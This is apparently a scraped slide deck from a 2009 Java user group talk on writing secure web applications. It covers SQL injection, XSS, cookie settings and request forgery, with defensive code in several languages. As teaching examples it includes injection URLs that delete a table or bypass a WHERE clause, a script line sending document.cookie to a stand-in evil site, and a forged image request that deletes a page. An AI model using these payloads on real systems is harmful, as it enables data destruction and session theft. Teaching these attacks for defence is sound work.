46
Twin Cities Java User Group Introduction to Writing Secure Web Applications March 9th, 2009 Jason Dean Minnesota Department of Health

Twin Cities Java User Group Introduction to Writing Secure Web Applications March 9th, 2009 Jason Dean Minnesota Department of Health

Embed Size (px)

Citation preview

Twin Cities Java User Group

Introduction to Writing Secure Web Applications

March 9th, 2009Jason Dean

Minnesota Department of Health

Who am I?

Web Application Developer with the Minnesota Department of Health (MDH)

Chairperson and User Group Manager of the MDH ColdFusion User Group

Web Development Blogger (http://www.12robots.com)

Veteran of the U.S. Coast Guard

What is Application Security?

Measures taken to prevent the exploitation of an application or the system that runs the

application through defects in the design, development or deployment of the application

How do I know if my application is secure?

If you have to ask, then it is not.

Make my application secure?

Assets

Flash Files

Images

Servers

System Files

Databases

Configuration Files

Threats

• The basics– Cross-Site Scripting XSS

– Cookie Misuse/Exploits

– SQL Injection

– Request Forgeries (on-site and cross-site)

– Input Validation Exploits

– File Uploads

• The Advanced– Session Management Attacks– Authorization/Authentication– Access Control Attacks– Parameter Manipulation

The less obvious Ignorance Assumptions Laziness Internal threats

Discover Vulnerabilities

Code Review

Scanners

Release Source

Attack

Experts

Countermeasures

Countermeasures mitigate attacks Out-Of-The-Box Custom Test and Retest Do not touch Certify

What are we going to talk about?

The Basic: SQL Injection Cross-Site Scripting (XSS) Cookies Request Forgeries

The less obvious: Ignorance Assumptions Laziness

Ignorance

A long habit of not thinking a thing wrong gives it a superficial appearance of being right.

- Thomas Paine

Assumptions about users

Two things are infinite: the universe and human stupidity; and I'm not sure about the universe.

- Albert Einstein

Assumptions About Hackers Why would a hacker have any

interest in your site? Vandalism Identity Theft Activism

Hackers will not use your site as you intend, either

Assumptions about administrator/host

Configured correctly? Settings enabled? Work together to

review configuration Control at the

application level Hire an Expert

Assumptions about how the server/environment work

Secret URLs Firewall Google Web Server Logs Internal Traffic Hidden Fields Javascript

Laziness Security Testing Code Review Learning Too Hard, Too much

research Don't have enough time?

The Basic Threats

SQL Injection Cross-Site Scripting XSS Cookie Misuse/Exploits Request Forgeries

SQL Injection

Obtain, Change or Destroy Data Execute System Commands Easy to do Easy to stop Any DBMS

SQL Injection Examples

String query = "SELECT * FROM users WHERE userid = " + userid;

http://www.12robots.com/?userid=1303

URL, Form and Cookie parameters can be used as part of a SQL statement.

Would probably be used in a query like this:

SQL Injection Examples

www.12robots.com/?userid=1303

http://www.12robots.com/?userid=1303;+DELETE+FROM+users;--

Would Become

SQL Injection Examples (cont)

http://www.12robots.com/?userid=1303;+DELETE+FROM+users;--

SELECT username, firstnameFROM usersWHERE userid = 1303;DELETE FROM customers;--

Would result in this query

SQL Injection Examples (cont)

http://www.12robots.com/?userid=1303%20OR%201=1;--

SELECT username, firstnameFROM usersWHERE userid = 1303 OR 1=1;--

Would result in this query

Stopping SQL Injection Example

http://www.12robots.com/?username=Jason&password=myPass I know we don’t send passwords in the URL, this is a demo, this would work just as well in a form field

http://www.12robots.com/?username=Jason'-&password=noPass

SELECT username, firstnameFROM usersWHERE username = 'jason'-- ' AND password = ‘myPass’

SELECT username, firstnameFROM usersWHERE username = 'jason''-- ' AND password = 'myPass'

So if you had a URL for login in that looked like

And a hacker tried to inject a single quote and double-dash

If you did not have a parameterized query, you'd get hacked

But with a parameterized query, you'd be safe

Prepared Statements in ActionColdFusion<cfqueryparam> on an Integer

OR

<cfqueryparam> on an String

<cfquery name="qMyQuery" datasource="myDSN">SELECT username, firstnameFROM usersWHERE userid = <cfqueryparam value="#url.userid#" cfsqltype="cf_sql_integer">

</cfquery>

<cfquery name="qMyQuery" datasource="myDSN">SELECT username, firstnameFROM usersWHERE userid = <cfqueryparam value="#url.username#" cfsqltype="cf_sql_varchar">

</cfquery>

Prepared Statements in ActionJavaPrepare a string:

Prepare an Integer:

String query = "SELECT id, fname, lname FROM authors WHERE fname = ? and lname = ?";PreparedStatement pstmt = connection.prepareStatement( query );pstmt.setString( 1, fname );pstmt.setString( 2, lname );ResultSet results = pstmt.execute( );

String query = "SELECT id, fname, lname FROM authors WHERE id = ?”;PreparedStatement pstmt = connection.prepareStatement( query );pstmt.setInt( 1, id );ResultSet results = pstmt.execute( );

Prepared Statements in ActionC#Prepare a string:

IDbCommand cmdUserInputText = conn.CreateCommand();

cmdUserInputText.CommandType= System.Data.CommandType.Text;

cmdUserInputText.CommandText = "SELECT * FROM titles WHERE title_id=@title_id";

IDbDataParameter userParam = cmdUserInputText.CreateParameter();

userParam.Value = "myTitleID";

userParam.DbType = System.Data.DbType.String;

cmdUserInputText.Parameters.Add(userParam);

Prepared Statements in ActionPHP with MySQLiPrepare an Integer:

Prepare a String

$db_conn = new mysqli("localhost", "user", "pass", "db");

$statement = $db_conn->prepare("SELECT username FROM users WHERE id = ?");

$statement->bind_param("i", $id);

$statement->execute();

$db_conn = new mysqli("localhost", "user", "pass", "db");

$statement = $db_conn->prepare("SELECT id FROM users WHERE username = ?");

$statement->bind_param("s", $username);

$statement->execute();

What about other Dynamic Elements in SQL?

<cfquery name="qMyQuery" datasource="myDSN">SELECT username, firstnameFROM usersORDER BY username #sortOrder#

</cfquery>

<cfquery name="qMyQuery" datasource="myDSN">SELECT username, firstnameFROM usersORDER BY username <cfif sortOrder EQ "ASC">ASC<cfesle>DESC</cfif>

</cfquery>

Cross-Site Scripting (XSS)

Injection Attack One user attacks another Many uses Any user input Usually JavaScript

XSS Example You have a comments text box, like so:

And some joker decides to inject some Javascript:

Then when someone views the page that displays that comment, they get:

XSS Uses

document.location=”http://www.evilsite.com?cookie=” + document.cookie;

XSS iFrame Example

When another user views the output of that comment later, they will see a form prompting for their user/pass, if they enter and hit “submit” the form will be posted to the evil site.

XSS Prevention

So how do we protect against this type of attack? Turn on script protection (ColdFusion)

Use character encoding functions on all dynamic output

User Input validation

Use a security API or Framework for your specific language

Character Encoding

<script type=”text/javascript”>alert('Hacked!');</script>

&lt;script type=”text/javascript”&gt;alert('Hacked!');&lt;/script&gt;

This: This is <strong>Bold Text</strong>

Would become: This is &lt;strong&gt;Bold Text&lt;/strong&gt;

And when displayed: This is <strong>Bold Text</strong>

Instead of like: This is Bold Text

Character Encoding Function ColdFusion

Java

Java ESAPI

PHP

C#

import org.w3c.tidy.servlet.util.HTMLEncode //jTidyencode(String);

<cfoutput>#HTMLEncodedFormat(String)#</cfoutput>

ESAPI.encoder().encodeForHTML(String);

Server.HtmlEncode(String);

<?php echo htmlentities(String, ENT_QUOTES) ?>

Cookie Security

Cookie Parameters

Name Value Expires Path Domain Secure HTTPOnly

Cookie Domain and Path www.awesomebloggers.com 12robots.awesomebloggers.com domain=”.awesomebloggers.com” hacker.awesomebloggers.com domain=”.12robots.awesomebloggers.com”

www.awesomebloggers.com/12robots Path=”/” www.awesomeblogers.com/hacker path=”/12robots”

Setting the HTTPOnly Flag

response.setHeader("Set-Cookie", "name=value; HTTPOnly");

<cfheader name="Set-Cookie" value="name=value;HttpOnly">

HttpCookie myCookie = new HttpCookie("myCookie");myCookie.HttpOnly = true;Response.AppendCookie(myCookie);

<?php setcookie("name", "value", [expire], [path], [domain], [secure], TRUE); ?>

ColdFusion

Java

PHP

C#

What is a Request Forgery?

A request forgery, also sometimes called a Cross-Site (or On-Site) Request Forgery(XSRF), is an attack that is perpetrated against the user of a site who has authenticated access to that site

That was confusing How about an Example?

Delete page/function

single parameter

PageID

Admin Only

All is good, right?

What happened?

<img src="http://www.easilypwnd.com/deletePage.cfm?pageid=1">

So what can we do about it?

It probably:

Receives the request Checks to make sure the user is logged in Confirms that the ID is valid Performs the action

<form action="deletePage.cfm" method="post"><input type="hidden" name="pageid" value="1" /><input type="submit" name="btnSubmit" value="Delete Page 1" />

</form>

How do we fix it?

//pseudo-codesession.add(“key”, createUUID());session.add(“keyExpires”, DateAdd('m', 10, Now());

<form action="deletePage.cfm" method="post"><input type="hidden" name="pageid" value="1" /><input type="submit" name="btnSubmit" value="Delete Page 1" /><input type="hidden" name="key" value="#session.key#" />

</form>

How do we fix it?

Pseudo-code

If (exists(sessionkey) && exists(formkey) && !(isExpired(formKey, keyExpires)) && sessionkey == formKey) {

//Delete the key from the session so it can't be reuseddelete(sessionkey);

} else {//Relocate the request if the key is not present or doesn't matchlog(securityInfo);request.location(webroot); //or throw an Exception

}

//Finish Processing the request

Questions?

Please ask your questions now Comments?

Jason Dean [email protected] http://www.12robots.com